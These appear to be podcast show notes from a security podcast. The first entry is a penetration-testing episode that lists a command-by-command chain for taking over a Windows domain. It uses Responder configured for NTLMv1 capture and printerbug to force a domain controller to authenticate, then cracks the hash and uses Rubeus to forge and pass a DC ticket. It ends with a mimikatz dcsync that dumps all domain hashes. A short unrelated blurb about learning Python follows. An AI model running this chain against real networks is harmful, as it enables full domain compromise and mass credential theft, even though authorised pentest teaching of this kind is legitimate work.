7MS: #559: Tales of Pentest Pwnage - Part 46

Ooooo giggidy! Today's episode is about a pentest pwnage path that is super fun and interesting, and I've now seen 3-4 times in the wild. Here are some notes from the audio/video that will help bring this to life for you (oh and read this article for a great tech explanation of what's happening under the hood):

Change the Responder.conf file like so:

; Custom challenge. ; Use "Random" for generating a random challenge for each requests (Default) Challenge = 1122334455667788

Run Responder with --disable-ess flag

sudo python3 /opt/responder/Responder.py -I eth0 --disable-ess

Use printerbug to coax authentication from a domain controller:

sudo python3 /opt/krbrelay-dirkjanm/printerbug.py yourdomain.com/someuser@IP.OF.DOMAIN.CONTROLLER IP.OF.ATTACKING.BOX

Convert hash to make it easier to crack!

sudo python3 /opt/ntlmv1-multi/ntlmv1.py --ntlmv1 THE-HASH-YOU-GOT-FROM-RESPONDER

Take the NTHASH:XXX token and go to crack.sh to have it cracked in about 30 seconds!

Now you can do a Rubeus asktgt with the DC hash:

rubeus.exe asktgt /domain:yourdomain.com /user:DOMAIN-CONTROLLER-NAME$ /rc4:HASH-GOES-HERE /nowrap

Now pass the ticket and impersonate the DC LOL MUAHAHAHAHAHAHAAH!!

rubeus.exe ptt /ticket:TICKET GOES HERE

Use mimikatz to dump all hashes!

mimikatz.exe privilege::debug log hashes.txt lsadump::dcsync /domain:yourdomain.com /all /csv

7MS #136: Python for Newbs

One skill that's been kind of a hinderance in my IT/security career is I have exactly zero experience in programming/coding. Zero. Zip. Nil. Nada. Nothing.. But I'm trying to remedy that in 2016 by learnin' me some Python, and I picked up a great book called Python Crash Course, which has been exactly what this newb needed. At the time of publishing, you can get 30% off with the coupon code CRASHCOURSE!
